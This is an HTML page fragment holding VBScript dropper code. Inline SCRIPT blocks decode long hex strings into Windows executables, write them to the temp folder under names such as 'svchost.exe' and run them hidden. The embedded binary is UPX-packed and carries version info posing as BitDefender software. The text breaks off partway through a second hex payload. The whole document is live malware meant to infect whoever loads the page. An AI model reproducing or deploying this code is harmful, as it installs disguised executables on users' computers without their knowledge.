60F7E98720810234150619B306D7D1355CE2DF719B88F012C1E7162577A302B9CB4F857ED6ED5BC0D28EEA3A0DBC9766BF69332D6D68E378616C55E0342831230C74FC024DF1619E3E490069A11BABC142FC423C8C50B580D0071880AD502CD3E646A61F766B2B3AA1E5394781EEB8D86F50C8F0100240282B1C2BF104D2E6FEB7416CBA61386CB0F3F1B1D7FEB79EA18D97CAC168B0BCB54C62146ED1C0A305D9080DE92D7385DADA16A66D7B005FF47F34FA5D1118C96CDF4862FAA46DF9171C2F22CFCB27E49B9162FC52DFB5B0A18488A7D9A0589A25FF4BED2CF85255E23266EC6F9FA606A03674297A297E81DF2704C1FADD0A5B138285C1C090998972928B256EE72EC7C486D7EA0B8D5FE81B1092C2BD2FD706287F835D71210AAFD242174406ED376E70B7A6F5198472A52077053B0DF8BF418127CC4D64E01242BB76F911F005236EDDE0FDF7A8036DDBFB4415DAD6C1ADFCD513265D487A996EFD853AD8CCF136E21C205DBB7584F80B4B5CA056BAE61B57F2748F0D6C7DD4D75F1F09B902D7F9A8126D851FF10D8BE9FF0D2EB4972FB60E26A8E802C0FF87EA8286AD16FF022F01063AC100B45E10C0AFB104DD0AE32E1CFE02A06AF852AD85140624006BA2C8A3968DBE95A851CA3C09EF47FB6237DA8537C4805C22C1C228503B5104C5A9D6827B763006D14A942E60D88A24EF096E0097BFC959818280E43FD3093DD103B7EFA03987B6C65761B042711F14706FFD5FF87D81FD2C207C68FF613D9A5E7D78F8AAA4988683D8EA08F814710C4118E2F34B791DB005FCB5006399D2E7985CBA44FD04AFE02243C29860B77B3FC3DFF8854A11E8481087A26B06ABECB174055CA947F914F6530E58005A339E75114FA52AC44281234052A935FD7F07E8C460D3209AB29D4F604A668FCED3DA8ADF6E6FF10CDA3670CAF03B080D79078BEBA0DA515C29830D92103FD217367E72A78FDE8DC2B7154C8F2EEB6B40977AE99F9DC2B1C51F078781B8833768CF4EDD18F856C426A3E1DD0B379D37BC56B4F0A66805421347FB8A6E68B0C2A4FC53BE82EB85866FDDA825161C4195BD54D13CD7567C0BF88156CEA319E280B8D03D75BFBD44D137055876692532788DF13FB4FDC2D2E947E119E59D80899651CA027869BBB52F895B2D865D068E81300ADF682C551BDB1DB6279094800AD5B6F1D1B163793A35D6498AFA169F2AF825315F53B87FC67EFE2A0525F355B6C97A08F840DBEA173CA86EF1014C9A62A9045D13A1AF22BD7D807E13AD5D73C778874DA049552C11DC6F1240C7970BFCC2AE11B824D8D4F67349E2BFF9492DD1196A10563B753814B536ECBE0BCD010DD90D84092227FCC3B610DDA2208050F34A58CBA33B28B68B68D00AB31793F8AD7E6B529BBC06872041DA1128DAFF56FF52C75F0E4C9C7D28C910F643A414B49A60406DDC62032F04FD67EE4C521148BF2BF55FE0C58FC1696D94B10E5AA9EE150741E136148602F520C8D25C63605F32DDBD2317168A3C9ED032F9856109BB5753D41B86000AF5969793EA2E5C6845711C2F787300CA28B5B1ABBB0403266588EE67AA0F6E37162E6B016F077D6EDC8817F878C692A93586DA81A9BB15B1D44BA512EB1D2AE0A7A374FB63002B01E77C14566F213E0297E083A2FDA20B35D9B0612845C367715C9B9364A871F80FB4C20362F16D32297E158817D8B57E2C5008CE0F8D96E8AD7E1D74A909BD95DF0BD046DDE4C82E937F2E136758FE5FE063D8C624E1D5D32B8F2C91053E9D9FE8154BDCDCDA0B7B7FF6C2CDC9FD9788BE990528DFD374A7D7B860828C1EEE8582A52FAF670E6F305EEC22A9AD30B57942C073AF60A2B5FF6E3874D3D29C9624987CECFE5FDB2DDEBAB6FBC38206F9E85B5828BF45B4B6FCB4E384E46D095B3832EAB75DFC476418ED84D849A13437A11180C1D0448AFF0D9E02EC198C25871DE009D90A57C10BBC02BCC9230B14307508CDC40E2837F4B7DB40920A76010F49A4A339363EE417574E2F2FF4FF8E92209BF810FB57D9C5873C5F1BC104408AF08EA5B78A2BB14618F4E5B22485A3E1C6B3E0BE4A1E4D1348FBD2066CDB3DDBDB573BE09650146E744761BFE83B838C3726C39BA6A05BA664C94F8E32FA56D1C623394DCAF1E134613BA8FFDCD8AA4BBB6E8060FC0786F76D04A587AD9C6375F773FED2052E49702BB90608CC2810CBE5809076E806064AEBFF80D98C2F5CA8D58C82D05281DA2344D0A1A6DFE80C9D02135B436F889B0601877101B87CE9034D3C948F4965DD481134BA1869C0174A2D6EA83857A39824D180A6C17F53C07516A5BED1E80B6B7BC5C0AA1BADDF68A479A34A76A986B2E35D54AD16EAD921A311A59895976AA2CB5EA186014C00FFC0AD419F8FC9C9D040E1C2828676A5BEFD02BF2403E2010DDC1F805735C7F4CA2F5B7CA91C7578E2103593103A79686BA8F881E5C9A70EF2038EFCDFE2ADD6C35B44C0D0D5F93895D50176B451F978ECB300DAD47D9980A4154B7FABFF4090603458847D0FFAF0566D9ED7D9E705CC1D3687FDAD96D843C05F73B7C6E0B41370C1A90568A2196972792E8EE2BF10B547F4BCECCFFEBCD1229B9AFF5B0B9708EA141267AC2058FF3B24210B56CA112DB5E8E58E0332A8132D2DFD7F2F6848F8850F239F18D7573C6F1BC77FA106DA1EE48233B053E0EFFCF0DCC855618915DEC3AC05C1D528380E207F01E036EA1B5B7A737AF09D172E3304E2ADDADAE9DF5A4E5E1CAD074240FF854A010A28862E1948541396082E3D8AF64F86336AD7157CDBC4379A6CC7DC41B1A218400148AB5BFF9DBB150A250C2628AFCCC618635A70FC2842A98DAD06F83958E7A321D117FDD0951085B1DE18450ABEFD42C134A6D212F114C46662B0C4EF6ED0B9626A2F1AA373D90D9F8016FE876AE36981B761A23E891A5C02895B142A40BD20D7E61DC04DDBE803DF52A828FA2874A10B458BD37E5EE4C35BDB51B04D38E4B5E83D180AEB4FED166BCC6F0D068904251C1F6A6DE276E6EF3494A04CF805BF1BB7855F3547CCE26D5BA21A2B619EC1E1E347978A3BCDF390576C26F7C3F1DB52EDA4176822005A8657E0B8908B7FB9CEC0F405D01F8C922F446E2D111737E8CAA129285791473704DD1E22F8D5A701F0FF2C17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4